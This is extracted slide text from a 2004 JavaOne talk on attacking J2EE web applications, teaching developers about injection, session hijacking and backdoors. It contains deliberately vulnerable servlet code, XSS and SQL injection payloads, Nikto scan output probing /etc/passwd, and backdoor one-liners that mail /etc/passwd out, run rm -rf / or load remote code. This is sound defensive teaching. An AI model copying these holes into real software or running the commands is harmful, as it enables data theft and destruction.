java.sun.com/javaone/sf
| 2004 JavaOneSM Conference | Session 1703 1
How to Attack Java™ 2 Platform, Enterprise Edition (J2EE) Applications
Jeff WilliamsCEO, Aspect Security Chair, OWASP Foundationwww.aspectsecurity.com www.owasp.org
| 2004 JavaOneSM Conference | Session 1703 2
Goal of Your Talk
Learn how hackers attempt to trick your code into doing bad things for them.
Bulletproof Code
| 2004 JavaOneSM Conference | Session 1703 3
Warning
Using these techniques without permission is illegal.
Knowledge is Power
By viewing this Birds of a Feather session (hereinafter “The Session”), I agree to refrain from the use of the techniques presented herein without first obtaining documented permission.
I further agree to hold the presenter (hereinafter “Jeff”) harmless for any and all damage that may or may not result from the use of the knowledge in The Session.
Any further use of the material presented in The Session is subject to all local laws and customs, and may be…
| 2004 JavaOneSM Conference | Session 1703 4
Agenda
Network Security Is IrrelevantA Tool for Attacking Testing J2EE AppsCross Site ScriptingSQL InjectionSession HijackingDenial of Service AttacksBreaking Access ControlError Handling and LoggingWeak CryptographyMalicious Code
| 2004 JavaOneSM Conference | Session 1703 5
Hackers Trick Your Code
Network protection means nothing to application attackersF
irewa
ll
Hardened OS
Web Server
App Server
Firew
all
Dat
abas
esL
egac
y S
yste
ms
Web
Ser
vice
s
Dir
ecto
rie
s
Hu
ma
n R
esr
cs
Bil
lin
g
Custom Developed Application Code
APPLICATIONATTACK
Net
wo
rk L
ayer
Ap
pli
cati
on
Lay
er
| 2004 JavaOneSM Conference | Session 1703 6
Inside an HTTP Request
Attackers Can Manipulate Anything!
POST https://id.boa.com:443/login HTTP/1.0Referer: http://www.bankofamerica.com/Accept-Language: en-usContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)Host: id.boa.comContent-Length: 135Cache-Control: no-cacheCookie: BOA_Cookie=6EC4712348008CAFE337:*****1234; SERVERID=108258611811_12582_1; state=MD
reason=&Access_ID=jeff&Current_Passcode=java&acct=&pswd=&from=homepage&Customer_Type=MODEL&id=*******&rembme=Y&pc=*******&state=VA
All HTML form elements become strings in the clear!
| 2004 JavaOneSM Conference | Session 1703 7
WebScarab from OWASP (www.owasp.org)
| 2004 JavaOneSM Conference | Session 1703 8
Cross Site Scripting
Hacker tricks user into sending request containing script in search parameter.
<script>alert(document.cookie)</script><script>alert(document.cookie)</script>
Site reflects the script back to user where it executes and sends the session cookie to the hacker.
| 2004 JavaOneSM Conference | Session 1703 9
Example: Hello Trouble!
public class HelloTrouble extends HttpServlet{
public void doGet( … ){
response.setContentType("text/html");PrintWriter out = response.getWriter();out.println("<HTML><HEAD>");out.println("<TITLE>Hello Trouble!</TITLE>");out.println("</HEAD><BODY>");out.println("Hello, " +
request.getParameter("name"));
out.println("</BODY></HTML>");}
}
Every example program out there…
XSS can be used to hijack sessions or modify how web pages appear
| 2004 JavaOneSM Conference | Session 1703 10
SQL Injection
Hacker sends SQL commands into a form field.
Site executes modified SQL query and returns results to hacker.
101’ or ‘1’=‘1101’ or ‘1’=‘1
| 2004 JavaOneSM Conference | Session 1703 11
Example: Query Disaster
Class.forName("org.gjt.mm.mysql.Driver"); connection = DriverManager.getConnection( "jdbc:mysql://11.111.111.11/test? user=dba&password=java"); …
String email = req.getParameter( "Email" ); String company = req.getParameter( "Company" ); Statement statement = connection.createStatement(); statement.execute( "INSERT INTO guestbook ( email, company ) values ( '" + email + "', '" + company + ");" ); statement.close(); …
Please use PreparedStatement…
Queries can be changed to disclose, modify, corrupt, or delete data
Class.forName("org.gjt.mm.mysql.Driver");String user = p.getEncryptedProperty(“dbuser”);String pass = p.getEncryptedProperty(“dbpass”);connection = DriverManager.getConnection( "jdbc:mysql://11.111.111.11/test? user=“+dbuser+”&password=“+ dbpass); …String email = req.getParameter( "Email" ); String company = req.getParameter( "Company" ); Statement stmt = connection.prepareStatement( "INSERT INTO guestbook ( email, company ) values ( ?, ? );" );stmt.setString( 1, email );stmt.setString( 2, company );stmt.executeQuery();stmt.close();
| 2004 JavaOneSM Conference | Session 1703 12
Example: Command Injection
public void doGet(…){ Runtime runtime = Runtime.getRuntime(); Process process = null; String user = request.getParameter("user"); try { process = runtime.exec( "finger " + user ); out.println( "Hello, " + user ); // print output from process to out } catch (Exception e) { out.println("Problem with finger: " + ServletUtils.getStackTraceAsString(e)); }}
Are You Running Your Web App as Root?
| 2004 JavaOneSM Conference | Session 1703 13
Never Trust an HttpServletRequest
• Trace the “taint” from all calls used to get input─ HttpServletRequest.getParameter()─ HttpServletRequest.getCookies()─ HttpServletRequest.getHeader()─ Etc…
• Bad patterns─ Input -> Output == Cross-Site Scripting (XSS)─ Input -> Query == SQL Injection─ Input -> System == Command Injection
The HttpServletRequest API does not do ANY validation!
Client-side validation is irrelevant
| 2004 JavaOneSM Conference | Session 1703 14
Example: Faulty Struts!
public class DamagedStrutsForm extends ActionForm{ public void doForm( HttpServletRequest request) { UserBean u = session.getUserBean(); u.setName(request.getParameter("name")); u.setFavoriteColor(request.getParameter("color")); }
public boolean validate( HttpServletRequest request) { try { String param = request.getParameter("Name"); if ( param.indexOf("<script") != -1 ) { logger.log("Script detected" ); return false; } } catch( Exception e ) {} return true; }}
Validation ain’t so simple
| 2004 JavaOneSM Conference | Session 1703 15
It’s All Jon Postel’s Fault
• “TCP implementations will follow a general principle of robustness: be conservative in what you do, be liberal in what you accept from others.” -- Jon Postel, RFC 793, Sept. 1981
| 2004 JavaOneSM Conference | Session 1703 16
“Boundary Validation”
• Validate at reasonable system boundaries─ Between client and business logic─ Between business logic and database─ Between application and major libraries─ Between major subsystems within an application
• Do not rely on “Sender Validates”─ Modified Postel’s Law…─ “…be liberal in what you accept from others, then
validate the hell out of it.”
| 2004 JavaOneSM Conference | Session 1703 17
Nikto (www.cirt.org)> nikto.pl -h localhost -p 80 -c -verbose- Scan is dependent on "Server" string which can be faked, use -g to override+ Server: Apache Coyote/1.0- 1162 server checks loaded- 500 for GET:/servlet/org.apache.catalina.ContainerServlet/<script>alert(‘!')</script>- 500 for GET:
/test/jsp/declaration/IntegerOverflow.jsp- 500 for GET:
/%22%3cscript%3ealert(%22xss%22)%3c/script%3e- 500 for GET:
/..%255c..%255c..%255c..%255c..%255c../winnt/repair/sam+ /admin/
Redirects to 'http://localhost/admin/index.jsp'- 400 for GET:
/../../../../../../../../../../etc/passwd- 500 for GET: /jsp/jspsamp/jspexamples/viewsource.jsp?source=../../../../../etc/passwd- 500 for GET:
/servlet/allaire.jrun.ssi.SSIFilter- 500 for GET:
/servlet/com.unify.servletexec.UploadServlet- 500 for GET: /servlet/ContentServer?pagename=<script>alert('Vulnerable')</script>+ Got Cookie on file '/‘
value 'JSESSIONID=8CA5A9BF9E09B7EDF907944C3245700C; Path=/admin'
| 2004 JavaOneSM Conference | Session 1703 18
Session Hijacking
• Protect like other credentials─ Don’t send in the clear (use SSL)─ Prevent cross site scripting
• Use your environment’s JSESSIONID─ Don’t craft your own─ Don’t use multiple cookies
• Regenerate session identifier upon login
• Don’t put in session identifier in URL─ They end up in bookmarks and referers
A session is just as good as a username/password
| 2004 JavaOneSM Conference | Session 1703 19
Denial of Service Attacks
• Flooding attacks─ Easy for attackers─ Don’t commit resources until necessary─ Implement quotas and delays where possible
• Lockout attacks─ Be careful with “5 tries” policies
How much can your application take?
| 2004 JavaOneSM Conference | Session 1703 20
Breaking Access Control
• Testing approach─ Walk the site as admin, then logout─ Force browse to admin links as ordinary user─ Also attempt to access other user resources─ Don’t assume hackers can’t figure it out
• Identifiers─ Many sites use a global identifier (…?cart=10234)─ Attackers will brute force if they have to─ Use indirection with a user-specific identifier
Restricting users to authorized stuff only…
The lack of a link is is not a security mechanism.
| 2004 JavaOneSM Conference | Session 1703 21
Error Handling and Logging
• Attackers rely on error messages─ Never printStackTrace() to the user─ Don’t provide too much information─ Catch all Exceptions and handle them appropriately─ Be sure your mechanisms “fail closed”
• Log message and error message are different─ Don’t send unvalidated input back to user─ Don’t send unvalidated input to the log
| 2004 JavaOneSM Conference | Session 1703 22
Weak Cryptography
• Keep sensitive information to a minimum─ 1. Just don’t store it, users can re-enter─ 2. Hash if you need to VERIFY sensitive information─ 3. Encrypt if you must STORE sensitive information
• Use the JCE carefully─ Don’t write your own crypto─ Protect your secrets─ Plan for changing keys─ Keep it simple─ Never store plaintext passwords
| 2004 JavaOneSM Conference | Session 1703 23
Malicious Code
• Trojan Horse runs for adminif ( System.getCurrentUser().getName().equals( “admin” ) ) Runtime.exec( “sendmail [email protected] < /etc/passwd” );
• Secret trigger removes all files on root partitionif( req.getParameter( “codeword” ).equals( “eagle” ) ) Runtime.exec( “rm –rf /” );
• Randomly corrupt data one time in 100if ( Math.random() < .01 ) bean.setValue( “corrupt” );
• Load and execute code from remote server((A)(ClassLoader.getSystemClassLoader().defineClass (null, readBytesFromNetwork(),0,422).newInstance())).attack();
• Make backdoor look like inadvertent mistakeif ( input < 0 ) throw new RuntimeException( “Input error” );
Are you running with a SecurityManager enabled?
Who Wrote Those Libraries?
| 2004 JavaOneSM Conference | Session 1703 24
WebGoat from OWASP (www.owasp.org)
| 2004 JavaOneSM Conference | Session 1703 25
Summary
• Never assume your code can’t be attacked
• To stop a hacker, think like a hacker
• Never trust an HttpServletRequest
• Don’t trust libraries (run a SecurityManager)
• Precompile JSPs
• Check your code!
| 2004 JavaOneSM Conference | Session 1703 26
For More Information
• The Open Web Application Security Project (OWASP) tools and guidelines─ http://www.owasp.org
• The OWASP Top Ten Most Critical Web Application Security Vulnerabilities─ http://www.aspectsecurity.com/topten
• Sverre Huseby, “Innocent Code”─ A security wake-up call for web programmers
| 2004 JavaOneSM Conference | Session 1703 27
Q&A
Any questions about web application security, Java or J2EE security, or OWASP?
27
java.sun.com/javaone/sf
| 2004 JavaOneSM Conference | Session 1703 28
Jeff WilliamsCEO, Aspect Security Chair, OWASP Foundationwww.aspectsecurity.com www.owasp.org
How to Attack Java™ 2 Platform, Enterprise Edition (J2EE) Applications